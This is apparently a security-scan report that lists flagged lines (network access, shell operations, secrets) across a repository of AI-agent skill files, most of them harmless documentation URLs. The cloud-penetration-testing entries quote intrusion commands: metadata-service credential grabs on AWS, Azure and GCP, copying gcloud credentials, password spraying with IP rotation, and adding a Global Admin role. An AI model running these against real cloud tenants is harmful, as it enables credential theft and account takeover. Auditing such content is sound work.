name: clarity-gate description: "Pre-ingestion verification for epistemic quality in RAG systems with 9-point verification and Two-Round HITL workflow" source: "https://github.com/frmoretto/clarity-gate" - Network accessline 3
description: "Pre-ingestion verification for epistemic quality in RAG systems with 9-point verification and Two-Round HITL workflow" source: "https://github.com/frmoretto/clarity-gate" risk: safe - Network accessline 4
source: "https://github.com/frmoretto/clarity-gate" - Network accessline 22
For more information, see the [source repository](https://github.com/frmoretto/clarity-gate).
skills/claude-ally-health/SKILL.md
- Network accessline 2
name: claude-ally-health description: "A health assistant skill for medical information analysis, symptom tracking, and wellness guidance." source: "https://github.com/huifer/Claude-Ally-Health" - Network accessline 3
description: "A health assistant skill for medical information analysis, symptom tracking, and wellness guidance." source: "https://github.com/huifer/Claude-Ally-Health" risk: safe - Network accessline 4
source: "https://github.com/huifer/Claude-Ally-Health" - Network accessline 22
For more information, see the [source repository](https://github.com/huifer/Claude-Ally-Health).
skills/claude-code-guide/SKILL.md
- Network accessline 70
Based on [Claude Code Guide by zebbern](https://github.com/zebbern/claude-code-guide).
skills/claude-d3js-skill/SKILL.md
- Network accessline 41
<script src="https://d3js.org/d3.v7.min.js"></script>
skills/claude-d3js-skill/assets/chart-template.jsx
- Executable scriptline 1
Executable file
skills/claude-d3js-skill/assets/interactive-template.jsx
- Executable scriptline 1
Executable file
skills/claude-scientific-skills/SKILL.md
- Network accessline 2
name: claude-scientific-skills description: "Scientific research and analysis skills" source: "https://github.com/K-Dense-AI/claude-scientific-skills" - Network accessline 3
description: "Scientific research and analysis skills" source: "https://github.com/K-Dense-AI/claude-scientific-skills" risk: safe - Network accessline 4
source: "https://github.com/K-Dense-AI/claude-scientific-skills" - Network accessline 22
For more information, see the [source repository](https://github.com/K-Dense-AI/claude-scientific-skills).
skills/claude-speed-reader/SKILL.md
- Network accessline 2
name: claude-speed-reader description: "-Speed read Claude's responses at 600+ WPM using RSVP with Spritz-style ORP highlighting" source: "https://github.com/SeanZoR/claude-speed-reader" - Network accessline 3
description: "-Speed read Claude's responses at 600+ WPM using RSVP with Spritz-style ORP highlighting" source: "https://github.com/SeanZoR/claude-speed-reader" risk: safe - Network accessline 4
source: "https://github.com/SeanZoR/claude-speed-reader" - Network accessline 22
For more information, see the [source repository](https://github.com/SeanZoR/claude-speed-reader).
skills/claude-win11-speckit-update-skill/SKILL.md
- Network accessline 2
name: claude-win11-speckit-update-skill description: "Windows 11 system management" source: "https://github.com/NotMyself/claude-win11-speckit-update-skill" - Network accessline 3
description: "Windows 11 system management" source: "https://github.com/NotMyself/claude-win11-speckit-update-skill" risk: safe - Network accessline 4
source: "https://github.com/NotMyself/claude-win11-speckit-update-skill" - Network accessline 22
For more information, see the [source repository](https://github.com/NotMyself/claude-win11-speckit-update-skill).
skills/clean-code/SKILL.md
skills/clickup-automation/SKILL.md
- Network accessline 22
**Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.
skills/close-automation/SKILL.md
- Network accessline 22
**Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.
skills/cloud-penetration-testing/SKILL.md
- Network accessline 26
# AWS CLI curl "https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip" -o "awscliv2.zip" - Network accessline 27
curl "https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip" -o "awscliv2.zip" - Dangerous shell operationline 28
unzip awscliv2.zip && sudo ./aws/install - Network accessline 30
# GCP CLI curl https://sdk.cloud.google.com | bash - Dangerous shell operationline 31
curl https://sdk.cloud.google.com | bash - Network accessline 31
curl https://sdk.cloud.google.com | bash - Network accessline 63
# Azure: Get federation info curl "https://login.microsoftonline.com/getuserrealm.srf?login=user@target.com&xml=1" - Network accessline 64
curl "https://login.microsoftonline.com/getuserrealm.srf?login=user@target.com&xml=1" - Network accessline 66
# Azure: Get Tenant ID curl "https://login.microsoftonline.com/target.com/v2.0/.well-known/openid-configuration" - Network accessline 67
curl "https://login.microsoftonline.com/target.com/v2.0/.well-known/openid-configuration" - Network accessline 262
# Access metadata service (from compromised EC2) curl http://169.254.169.254/latest/meta-data/ - Network accessline 263
curl http://169.254.169.254/latest/meta-data/ - Network accessline 264
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ - Network accessline 266
[Credential-related source omitted] - Network accessline 267
[Credential-related source omitted] - Network accessline 268
[Credential-related source omitted] - Network accessline 338
# Get metadata service data curl "http://metadata.google.internal/computeMetadata/v1/?recursive=true&alt=text" -H "Metadata-Flavor: Google" - Network accessline 339
curl "http://metadata.google.internal/computeMetadata/v1/?recursive=true&alt=text" -H "Metadata-Flavor: Google" - Network accessline 341
# Check access scopes curl http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes -H 'Metadata-Flavor:Google' - Network accessline 342
curl http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes -H 'Metadata-Flavor:Google' - Dangerous shell operationline 353
sudo find /home -name "credentials.db" - Dangerous shell operationline 354
sudo cp -r /home/user/.config/gcloud ~/.config - Network accessline 381
| List EC2 | `aws ec2 describe-instances` | | List Lambda | `aws lambda list-functions` | | Metadata | `curl http://169.254.169.254/latest/meta-data/` | - Network accessline 383
| Metadata | `curl http://169.254.169.254/latest/meta-data/` | - Network accessline 393
| List clusters | `gcloud container clusters list` | | IAM policy | `gcloud projects get-iam-policy <project>` | | Metadata | `curl -H "Metadata-Flavor: Google" http://metadata.google.internal/...` | - Network accessline 395
| Metadata | `curl -H "Metadata-Flavor: Google" http://metadata.google.internal/...` | - Network accessline 399
| Provider | URL | |----------|-----| | AWS | `http://169.254.169.254/latest/meta-data/` | - Network accessline 400
|----------|-----| | AWS | `http://169.254.169.254/latest/meta-data/` | | Azure | `http://169.254.169.254/metadata/instance?api-version=2018-02-01` | - Network accessline 401
| AWS | `http://169.254.169.254/latest/meta-data/` | - Network accessline 402
| Azure | `http://169.254.169.254/metadata/instance?api-version=2018-02-01` | - Network accessline 403
| GCP | `http://metadata.google.internal/computeMetadata/v1/` | - Network accessline 444
# Using MSOLSpray with FireProx for IP rotation # First create FireProx endpoint python fire.py --access_key <key> --secret_access_key <secret> --region us-east-1 --url https://login.microsoft.com --command create - Network accessline 446
python fire.py --access_key <key> --secret_access_key <secret> --region us-east-1 --url https://login.microsoft.com --command create
skills/cloud-penetration-testing/references/advanced-cloud-scripts.md
- Network accessline 3
Reference: [Cloud Pentesting Cheatsheet by Beau Bullock](https://github.com/dafthack/CloudPentestCheatsheets) - Network accessline 81
$body = @{ "client_id" = "1950a258-227b-4e31-a9cf-717495945fc2" "resource" = "https://graph.microsoft.com" - Network accessline 82
"client_id" = "1950a258-227b-4e31-a9cf-717495945fc2" "resource" = "https://graph.microsoft.com" } - Network accessline 83
"resource" = "https://graph.microsoft.com" - Network accessline 88
$authResponse = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://login.microsoftonline.com/common/oauth2/devicecode?api-version=1.0" - Network accessline 90
-Method Post ` -Uri "https://login.microsoftonline.com/common/oauth2/devicecode?api-version=1.0" ` - Network accessline 91
-Uri "https://login.microsoftonline.com/common/oauth2/devicecode?api-version=1.0" ` - Network accessline 97
Navigate to https://microsoft.com/devicelogin and enter the code. - Network accessline 107
$Tokens = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://login.microsoftonline.com/Common/oauth2/token?api-version=1.0" - Network accessline 109
-Method Post ` -Uri "https://login.microsoftonline.com/Common/oauth2/token?api-version=1.0" ` - Network accessline 110
-Uri "https://login.microsoftonline.com/Common/oauth2/token?api-version=1.0" ` - Network accessline 119
# From Azure VM Invoke-WebRequest -Uri 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com' -Method GET -Headers @{Metadata="true"} -UseBasicParsing - Network accessline 120
Invoke-WebRequest -Uri 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com' -Method GET -Headers @{Metadata="true"} -UseBasicParsing - Network accessline 122
# Full instance metadata $instance = Invoke-WebRequest -Uri 'http://169.254.169.254/metadata/instance?api-version=2018-02-01' -Method GET -Headers @{Metadata="true"} -UseBasicParsing - Network accessline 123
$instance = Invoke-WebRequest -Uri 'http://169.254.169.254/metadata/instance?api-version=2018-02-01' -Method GET -Headers @{Metadata="true"} -UseBasicParsing - Network accessline 287
# Add user to Global Admin via MS Graph $Body="{'principalId':'User Object ID', 'roleDefinitionId': '62e90394-69f5-4237-9190-012177145e10', 'directoryScopeId': '/'}" az rest --method POST --uri https://graph.microsoft.com/v1.0/roleManagemen - Network accessline 289
az rest --method POST --uri https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments --headers "Content-Type=application/json" --body $Body
skills/coda-automation/SKILL.md
- Network accessline 22
**Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.
skills/code-documentation-code-explain/resources/implementation-playbook.md
- Network accessline 748
'type': 'tutorial', 'title': 'Async IO in Python: A Complete Walkthrough', 'url': 'https://realpython.com/async-io-python/', - Network accessline 749
'title': 'Async IO in Python: A Complete Walkthrough', 'url': 'https://realpython.com/async-io-python/', 'difficulty': 'intermediate', - Network accessline 750
'url': 'https://realpython.com/async-io-python/',
skills/code-documentation-doc-generate/resources/implementation-playbook.md
- Network accessline 137
servers: - url: https://api.example.com/v1 - Network accessline 138
- url: https://api.example.com/v1 - Access to secretsline 266
[Credential-related source omitted] - Network accessline 302
git clone https://github.com/${GITHUB_ORG}/${REPO_NAME}.git - Network accessline 326
# Clone and setup git clone https://github.com/${GITHUB_ORG}/${REPO_NAME}.git - Network accessline 327
git clone https://github.com/${GITHUB_ORG}/${REPO_NAME}.git - Network accessline 467
<head> <title>API Documentation</title> <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/swagger-ui-dist@latest/swagger-ui.css"> - Network accessline 468
<title>API Documentation</title> <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/swagger-ui-dist@latest/swagger-ui.css"> </head> - Network accessline 469
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/swagger-ui-dist@latest/swagger-ui.css"> - Network accessline 474
<script src="https://cdn.jsdelivr.net/npm/swagger-ui-dist@latest/swagger-ui-bundle.js"></script> - Network accessline 500
url = "https://api.example.com{endpoint['path']}" - Access to secretsline 501
[Credential-related source omitted] - Network accessline 507
# JavaScript examples['javascript'] = f''' const response = await fetch('https://api.example.com{endpoint['path']}', {{ - Network accessline 508
examples['javascript'] = f''' const response = await fetch('https://api.example.com{endpoint['path']}', {{ method: '{endpoint['method']}', - Network accessline 509
const response = await fetch('https://api.example.com{endpoint['path']}', {{ - Access to secretsline 511
[Credential-related source omitted] - Network accessline 518
# cURL examples['curl'] = f''' - Network accessline 519
[Credential-related source omitted] - Network accessline 520
[Credential-related source omitted] - Access to secretsline 520
[Credential-related source omitted] - Access to secretsline 521
[Credential-related source omitted]
skills/code-review-ai-ai-review/SKILL.md
- Network accessline 283
const result = await db.execute(query, [username]); `, references: ["https://cwe.mitre.org/data/definitions/89.html"], - Network accessline 284
`, references: ["https://cwe.mitre.org/data/definitions/89.html"], autoFixable: false, cwe: "CWE-89", cvss: 9.8, effort: "easy" - Network accessline 285
references: ["https://cwe.mitre.org/data/definitions/89.html"], - Access to secretsline 313
[Credential-related source omitted] - Access to secretsline 361
[Credential-related source omitted] - Access to secretsline 362
[Credential-related source omitted]
skills/code-review-checklist/SKILL.md
- Access to secretsline 179
[Credential-related source omitted] - Access to secretsline 184
[Credential-related source omitted] - Access to secretsline 185
[Credential-related source omitted] - Access to secretsline 186
[Credential-related source omitted] - Network accessline 439
- [Google Code Review Guidelines](https://google.github.io/eng-practices/review/) - Network accessline 440
- [OWASP Top 10](https://owasp.org/www-project-top-ten/) - Network accessline 441
- [Code Review Best Practices](https://github.com/thoughtbot/guides/tree/main/code-review) - Network accessline 442
- [How to Review Code](https://www.kevinlondon.com/2015/05/05/code-review-best-practices.html)
skills/code-review-excellence/resources/implementation-playbook.md
- Network accessline 295
// ❌ Not handling async errors async function fetchUser(id: string) { const response = await fetch(`/api/users/${id}`); - Network accessline 296
async function fetchUser(id: string) { const response = await fetch(`/api/users/${id}`); return response.json(); // What if network fails? - Network accessline 297
const response = await fetch(`/api/users/${id}`); - Network accessline 302
async function fetchUser(id: string): Promise<User> { try { const response = await fetch(`/api/users/${id}`); - Network accessline 303
try { const response = await fetch(`/api/users/${id}`); if (!response.ok) { - Network accessline 304
const response = await fetch(`/api/users/${id}`); - Dangerous shell operationline 405
- [ ] No eval() or similar dynamic execution?
skills/codebase-cleanup-deps-audit/resources/implementation-playbook.md
- Network accessline 142
def __init__(self): self.vulnerability_apis = { 'npm': 'https://registry.npmjs.org/-/npm/v1/security/advisories/bulk', - Network accessline 143
self.vulnerability_apis = { 'npm': 'https://registry.npmjs.org/-/npm/v1/security/advisories/bulk', 'pypi': 'https://pypi.org/pypi/{package}/json', - Network accessline 144
'npm': 'https://registry.npmjs.org/-/npm/v1/security/advisories/bulk', - Network accessline 145
'pypi': 'https://pypi.org/pypi/{package}/json', - Network accessline 146
'rubygems': 'https://rubygems.org/api/v1/gems/{package}.json', - Network accessline 147
'maven': 'https://ossindex.sonatype.org/api/v3/component-report' - Network accessline 182
""" # Using npm audit API response = requests.post( - Network accessline 183
# Using npm audit API response = requests.post( 'https://registry.npmjs.org/-/npm/v1/security/advisories/bulk', - Network accessline 184
response = requests.post( - Network accessline 185
'https://registry.npmjs.org/-/npm/v1/security/advisories/bulk', - Network accessline 465
try { // Fetch package stats const response = await fetch( - Network accessline 466
// Fetch package stats const response = await fetch( `https://bundlephobia.com/api/size?package=${packageName}@${info.version}` - Network accessline 467
const response = await fetch( - Network accessline 468
`https://bundlephobia.com/api/size?package=${packageName}@${info.version}`
skills/codex-review/SKILL.md
skills/commit/SKILL.md
- Network accessline 2
name: commit description: "Create commit messages following Sentry conventions. Use when committing code changes, writing commit messages, or formatting git history. Follows conventional commits with Sentry-specific issue re..." source: "ht - Network accessline 3
description: "Create commit messages following Sentry conventions. Use when committing code changes, writing commit messages, or formatting git history. Follows conventional commits with Sentry-specific issue re..." source: "https://github. - Network accessline 4
source: "https://github.com/getsentry/skills/tree/main/plugins/sentry-skills/skills/commit" - Network accessline 171
- [Sentry Commit Messages](https://develop.sentry.dev/engineering-practices/commit-messages/)
skills/conductor-manage/resources/implementation-playbook.md
skills/conductor-validator/SKILL.md
- Broad permissionsline 1
Read Glob Grep Bash
skills/confluence-automation/SKILL.md
- Network accessline 22
**Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.
skills/content-creator/scripts/brand_voice_analyzer.py
- Executable scriptline 1
#!/usr/bin/env python3
skills/content-creator/scripts/seo_optimizer.py
- Executable scriptline 1
#!/usr/bin/env python3
skills/context-compression/SKILL.md
- Network accessline 2
name: context-compression description: "Design and evaluate compression strategies for long-running sessions" source: "https://github.com/muratcankoylan/Agent-Skills-for-Context-Engineering/tree/main/skills/context-compression" - Network accessline 3
description: "Design and evaluate compression strategies for long-running sessions" source: "https://github.com/muratcankoylan/Agent-Skills-for-Context-Engineering/tree/main/skills/context-compression" risk: safe - Network accessline 4
source: "https://github.com/muratcankoylan/Agent-Skills-for-Context-Engineering/tree/main/skills/context-compression"
skills/context-degradation/SKILL.md
- Network accessline 2
name: context-degradation description: "Recognize patterns of context failure: lost-in-middle, poisoning, distraction, and clash" source: "https://github.com/muratcankoylan/Agent-Skills-for-Context-Engineering/tree/main/skills/context-degra - Network accessline 3
description: "Recognize patterns of context failure: lost-in-middle, poisoning, distraction, and clash" source: "https://github.com/muratcankoylan/Agent-Skills-for-Context-Engineering/tree/main/skills/context-degradation" risk: safe - Network accessline 4
source: "https://github.com/muratcankoylan/Agent-Skills-for-Context-Engineering/tree/main/skills/context-degradation"
skills/context-fundamentals/SKILL.md
- Network accessline 2
name: context-fundamentals description: "Understand what context is, why it matters, and the anatomy of context in agent systems" source: "https://github.com/muratcankoylan/Agent-Skills-for-Context-Engineering/tree/main/skills/context-funda - Network accessline 3
description: "Understand what context is, why it matters, and the anatomy of context in agent systems" source: "https://github.com/muratcankoylan/Agent-Skills-for-Context-Engineering/tree/main/skills/context-fundamentals" risk: safe - Network accessline 4
source: "https://github.com/muratcankoylan/Agent-Skills-for-Context-Engineering/tree/main/skills/context-fundamentals"
skills/context-management-context-save/SKILL.md
skills/context-optimization/SKILL.md
- Network accessline 2
name: context-optimization description: "Apply compaction, masking, and caching strategies" source: "https://github.com/muratcankoylan/Agent-Skills-for-Context-Engineering/tree/main/skills/context-optimization" - Network accessline 3
description: "Apply compaction, masking, and caching strategies" source: "https://github.com/muratcankoylan/Agent-Skills-for-Context-Engineering/tree/main/skills/context-optimization" risk: safe - Network accessline 4
source: "https://github.com/muratcankoylan/Agent-Skills-for-Context-Engineering/tree/main/skills/context-optimization"
skills/context7-auto-research/SKILL.md
skills/convertkit-automation/SKILL.md
- Network accessline 22
**Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.
skills/copilot-sdk/SKILL.md
- Network accessline 248
const session = await client.createSession({ mcpServers: { github: { type: "http", url: "https://api.githubcopilot.com/mcp/" }, - Network accessline 249
mcpServers: { github: { type: "http", url: "https://api.githubcopilot.com/mcp/" }, }, - Network accessline 250
github: { type: "http", url: "https://api.githubcopilot.com/mcp/" }, - Access to secretsline 290
[Credential-related source omitted] - Access to secretsline 297
[Credential-related source omitted] - Network accessline 307
provider: { type: "openai", baseUrl: "https://your-resource.openai.azure.com/openai/v1/", - Network accessline 308
type: "openai", baseUrl: "https://your-resource.openai.azure.com/openai/v1/", wireApi: "responses", - Network accessline 309
baseUrl: "https://your-resource.openai.azure.com/openai/v1/", - Access to secretsline 311
[Credential-related source omitted] - Network accessline 510
- [GitHub Copilot SDK](https://github.com/github/copilot-sdk) - Network accessline 511
- [Copilot CLI Installation](https://docs.github.com/en/copilot/how-tos/set-up/install-copilot-cli) - Network accessline 512
- [MCP Protocol Specification](https://modelcontextprotocol.io)
skills/cqrs-implementation/resources/implementation-playbook.md
- Network accessline 267
# Get paginated results offset = (query.page - 1) * query.page_size rows = await conn.fetch( - Network accessline 268
offset = (query.page - 1) * query.page_size rows = await conn.fetch( f""" - Network accessline 269
rows = await conn.fetch( - Network accessline 539
- [CQRS Pattern](https://martinfowler.com/bliki/CQRS.html) - Network accessline 540
- [Microsoft CQRS Guidance](https://docs.microsoft.com/en-us/azure/architecture/patterns/cqrs)
skills/create-pr/SKILL.md
- Network accessline 2
name: create-pr description: "Create pull requests following Sentry conventions. Use when opening PRs, writing PR descriptions, or preparing changes for review. Follows Sentry's code review guidelines." source: "https://github.com/getsentry - Network accessline 3
description: "Create pull requests following Sentry conventions. Use when opening PRs, writing PR descriptions, or preparing changes for review. Follows Sentry's code review guidelines." source: "https://github.com/getsentry/skills/tree/mai - Network accessline 4
source: "https://github.com/getsentry/skills/tree/main/plugins/sentry-skills/skills/create-pr" - Network accessline 191
- [Sentry Code Review Guidelines](https://develop.sentry.dev/engineering-practices/code-review/) - Network accessline 192
- [Sentry Commit Messages](https://develop.sentry.dev/engineering-practices/commit-messages/)
skills/crypto-bd-agent/SKILL.md
- Network accessline 39
Reference implementation: https://github.com/buzzbysolcex/buzz-bd-agent - Network accessline 246
- 24/7 live stream: retake.tv/BuzzBD - Verify: 8004scan.io - GitHub: https://github.com/buzzbysolcex/buzz-bd-agent - Network accessline 248
- GitHub: https://github.com/buzzbysolcex/buzz-bd-agent
skills/culture-index/SKILL.md
- Network accessline 2
name: culture-index description: "Index and search culture documentation" source: "https://github.com/trailofbits/skills/tree/main/plugins/culture-index" - Network accessline 3
description: "Index and search culture documentation" source: "https://github.com/trailofbits/skills/tree/main/plugins/culture-index" risk: safe - Network accessline 4
source: "https://github.com/trailofbits/skills/tree/main/plugins/culture-index" - Network accessline 43
For more information, see the [source repository](https://github.com/trailofbits/skills/tree/main/plugins/culture-index).
skills/daily-news-report/SKILL.md
- Network accessline 104
sources: - id: hn url: https://news.ycombinator.com - Network accessline 105
- id: hn url: https://news.ycombinator.com extract: top_10 - Network accessline 106
url: https://news.ycombinator.com - Network accessline 107
extract: top_10 - id: hf_papers url: https://huggingface.co/papers - Network accessline 108
- id: hf_papers url: https://huggingface.co/papers extract: top_voted - Network accessline 109
url: https://huggingface.co/papers - Network accessline 230
URLs: - https://news.ycombinator.com (Extract Top 10) - Network accessline 231
- https://news.ycombinator.com (Extract Top 10) - Network accessline 232
- https://huggingface.co/papers (Extract top voted papers) - Network accessline 266
input: urls: - https://news.ycombinator.com - Network accessline 267
urls: - https://news.ycombinator.com - https://huggingface.co/papers - Network accessline 268
- https://news.ycombinator.com - Network accessline 269
- https://huggingface.co/papers
skills/daily-news-report/sources.json
- Network accessline 10
"id": "hn", "name": "Hacker News", "url": "https://news.ycombinator.com", - Network accessline 11
"name": "Hacker News", "url": "https://news.ycombinator.com", "fetch_method": "webfetch", - Network accessline 12
"url": "https://news.ycombinator.com", - Network accessline 20
"id": "hf_papers", "name": "HuggingFace Papers", "url": "https://huggingface.co/papers", - Network accessline 21
"name": "HuggingFace Papers", "url": "https://huggingface.co/papers", "fetch_method": "webfetch", - Network accessline 22
"url": "https://huggingface.co/papers", - Network accessline 32
"id": "one_useful_thing", "name": "One Useful Thing", "url": "https://www.oneusefulthing.org", - Network accessline 33
"name": "One Useful Thing", "url": "https://www.oneusefulthing.org", "fetch_method": "webfetch", - Network accessline 34
"url": "https://www.oneusefulthing.org", - Network accessline 42
"id": "paul_graham", "name": "Paul Graham Essays", "url": "https://paulgraham.com/articles.html", - Network accessline 43
"name": "Paul Graham Essays", "url": "https://paulgraham.com/articles.html", "fetch_method": "webfetch", - Network accessline 44
"url": "https://paulgraham.com/articles.html", - Network accessline 58
"id": "james_clear", "name": "James Clear 3-2-1", "url": "https://jamesclear.com/3-2-1", - Network accessline 59
"name": "James Clear 3-2-1", "url": "https://jamesclear.com/3-2-1", "fetch_method": "webfetch", - Network accessline 60
"url": "https://jamesclear.com/3-2-1", - Network accessline 68
"id": "fs_blog", "name": "Farnam Street Brain Food", "url": "https://fs.blog/brain-food", - Network accessline 69
"name": "Farnam Street Brain Food", "url": "https://fs.blog/brain-food", "fetch_method": "webfetch", - Network accessline 70
"url": "https://fs.blog/brain-food", - Network accessline 80
"id": "hackernoon_pm", "name": "HackerNoon PM", "url": "https://hackernoon.com/c/product-management", - Network accessline 81
"name": "HackerNoon PM", "url": "https://hackernoon.com/c/product-management", "fetch_method": "webfetch", - Network accessline 82
"url": "https://hackernoon.com/c/product-management", - Network accessline 90
"id": "scotthyoung", "name": "Scott Young Blog", "url": "https://scotthyoung.com/blog/articles", - Network accessline 91
"name": "Scott Young Blog", "url": "https://scotthyoung.com/blog/articles", "fetch_method": "webfetch", - Network accessline 92
"url": "https://scotthyoung.com/blog/articles", - Network accessline 106
"id": "producthunt", "name": "Product Hunt", "url": "https://www.producthunt.com", - Network accessline 107
"name": "Product Hunt", "url": "https://www.producthunt.com", "fetch_method": "browser", - Network accessline 108
"url": "https://www.producthunt.com", - Network accessline 117
"id": "latent_space", "name": "Latent Space", "url": "https://www.latent.space", - Network accessline 118
"name": "Latent Space", "url": "https://www.latent.space", "fetch_method": "browser", - Network accessline 119
"url": "https://www.latent.space", - Network accessline 134
"id": "tldr_ai", "name": "TLDR AI", "url": "https://tldr.tech/ai", - Network accessline 135
"name": "TLDR AI", "url": "https://tldr.tech/ai", "reason": "订阅页面,无文章列表", - Network accessline 136
"url": "https://tldr.tech/ai", - Network accessline 141
"id": "bensbites", "name": "Ben's Bites", "url": "https://bensbites.com/archive", - Network accessline 142
"name": "Ben's Bites", "url": "https://bensbites.com/archive", "reason": "需要登录/付费墙", - Network accessline 143
"url": "https://bensbites.com/archive", - Network accessline 148
"id": "interconnects", "name": "Interconnects AI", "url": "https://interconnects.ai", - Network accessline 149
"name": "Interconnects AI", "url": "https://interconnects.ai", "reason": "内容提取失败,Substack 结构问题", - Network accessline 150
"url": "https://interconnects.ai", - Network accessline 155
"id": "beehiiv_rss", "name": "Beehiiv RSS feeds", "url": "https://rss.beehiiv.com", - Network accessline 156
"name": "Beehiiv RSS feeds", "url": "https://rss.beehiiv.com", "reason": "RSS 抓取困难", - Network accessline 157
"url": "https://rss.beehiiv.com",
skills/data-quality-frameworks/resources/implementation-playbook.md
- Network accessline 570
- [Great Expectations Documentation](https://docs.greatexpectations.io/) - Network accessline 571
- [dbt Testing Documentation](https://docs.getdbt.com/docs/build/tests) - Network accessline 572
- [Data Contract Specification](https://datacontract.com/) - Network accessline 573
- [Soda Core](https://docs.soda.io/soda-core/overview.html)
skills/data-storytelling/SKILL.md
- Network accessline 465
- [Storytelling with Data (Cole Nussbaumer)](https://www.storytellingwithdata.com/) - Network accessline 466
- [The Pyramid Principle (Barbara Minto)](https://www.amazon.com/Pyramid-Principle-Logic-Writing-Thinking/dp/0273710516) - Network accessline 467
- [Resonate (Nancy Duarte)](https://www.duarte.com/resonate/)
skills/database-cloud-optimization-cost-optimize/resources/implementation-playbook.md
- Network accessline 427
<head> <title>Reservation & Savings Dashboard</title> <script src="https://cdn.jsdelivr.net/npm/chart.js"></script> - Network accessline 428
<title>Reservation & Savings Dashboard</title> <script src="https://cdn.jsdelivr.net/npm/chart.js"></script> </head> - Network accessline 429
<script src="https://cdn.jsdelivr.net/npm/chart.js"></script> - Access to secretsline 1117
[Credential-related source omitted] - Network accessline 1346
<head> <title>Cloud Cost Dashboard</title> <script src="https://d3js.org/d3.v7.min.js"></script> - Network accessline 1347
<title>Cloud Cost Dashboard</title> <script src="https://d3js.org/d3.v7.min.js"></script> <style> - Network accessline 1348
<script src="https://d3js.org/d3.v7.min.js"></script>
skills/database-design/scripts/schema_validator.py
- Executable scriptline 1
#!/usr/bin/env python3
skills/database-migrations-migration-observability/SKILL.md
skills/database-migrations-sql-migrations/SKILL.md
- Broad permissionsline 1
Read Write Edit Bash Grep Glob
skills/datadog-automation/SKILL.md
- Network accessline 22
**Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.
skills/dbos-golang/SKILL.md
- Network accessline 3
description: "DBOS Go SDK for building reliable, fault-tolerant applications with durable workflows. Use this skill when writing Go code with DBOS, creating workflows and steps, using queues, using the DBOS Clie..." risk: safe source: https - Network accessline 4
risk: safe source: https://docs.dbos.dev/ license: MIT - Network accessline 5
source: https://docs.dbos.dev/ - Network accessline 93
func fetchData(ctx context.Context) (string, error) { resp, err := http.Get("https://api.example.com/data") - Network accessline 94
resp, err := http.Get("https://api.example.com/data") - Network accessline 132
- https://docs.dbos.dev/ - Network accessline 133
- https://github.com/dbos-inc/dbos-transact-golang
skills/dbos-golang/references/advanced-patching.md
- Network accessline 86
Reference: [Patching](https://docs.dbos.dev/golang/tutorials/upgrading-workflows#patching)
skills/dbos-golang/references/advanced-versioning.md
- Network accessline 58
Reference: [Versioning](https://docs.dbos.dev/golang/tutorials/upgrading-workflows#versioning)
skills/dbos-golang/references/client-enqueue.md
- Network accessline 65
Reference: [DBOS Client Enqueue](https://docs.dbos.dev/golang/reference/client#enqueue)
skills/dbos-golang/references/client-setup.md
- Network accessline 65
Reference: [DBOS Client](https://docs.dbos.dev/golang/reference/client)
skills/dbos-golang/references/comm-events.md
- Network accessline 69
Reference: [Workflow Events](https://docs.dbos.dev/golang/tutorials/workflow-communication#workflow-events)
skills/dbos-golang/references/comm-messages.md
- Network accessline 57
Reference: [Workflow Messaging and Notifications](https://docs.dbos.dev/golang/tutorials/workflow-communication#workflow-messaging-and-notifications)
skills/dbos-golang/references/comm-streaming.md
- Network accessline 75
Reference: [Workflow Streaming](https://docs.dbos.dev/golang/tutorials/workflow-communication#workflow-streaming)
skills/dbos-golang/references/lifecycle-config.md
- Network accessline 70
Reference: [Integrating DBOS](https://docs.dbos.dev/golang/integrating-dbos)
skills/dbos-golang/references/pattern-debouncing.md
- Network accessline 47
Reference: [Debouncing Workflows](https://docs.dbos.dev/golang/tutorials/workflow-tutorial#debouncing)
skills/dbos-golang/references/pattern-idempotency.md
- Network accessline 63
Reference: [Workflow IDs and Idempotency](https://docs.dbos.dev/golang/tutorials/workflow-tutorial#workflow-ids-and-idempotency)
skills/dbos-golang/references/pattern-scheduled.md
- Network accessline 69
Reference: [Scheduled Workflows](https://docs.dbos.dev/golang/tutorials/workflow-tutorial#scheduled-workflows)
skills/dbos-golang/references/pattern-sleep.md
- Network accessline 52
Reference: [Durable Sleep](https://docs.dbos.dev/golang/tutorials/workflow-tutorial#durable-sleep)
skills/dbos-golang/references/queue-basics.md
- Network accessline 53
Reference: [DBOS Queues](https://docs.dbos.dev/golang/tutorials/queue-tutorial)
skills/dbos-golang/references/queue-concurrency.md
- Network accessline 49
Reference: [Managing Concurrency](https://docs.dbos.dev/golang/tutorials/queue-tutorial#managing-concurrency)
skills/dbos-golang/references/queue-deduplication.md
- Network accessline 52
Reference: [Deduplication](https://docs.dbos.dev/golang/tutorials/queue-tutorial#deduplication)
skills/dbos-golang/references/queue-listening.md
- Network accessline 49
Reference: [Listening to Specific Queues](https://docs.dbos.dev/golang/tutorials/queue-tutorial#listening-to-specific-queues)
skills/dbos-golang/references/queue-partitioning.md
- Network accessline 42
Reference: [Partitioning Queues](https://docs.dbos.dev/golang/tutorials/queue-tutorial#partitioning-queues)
skills/dbos-golang/references/queue-priority.md
- Network accessline 45
Reference: [Priority](https://docs.dbos.dev/golang/tutorials/queue-tutorial#priority)
skills/dbos-golang/references/queue-rate-limiting.md
- Network accessline 50
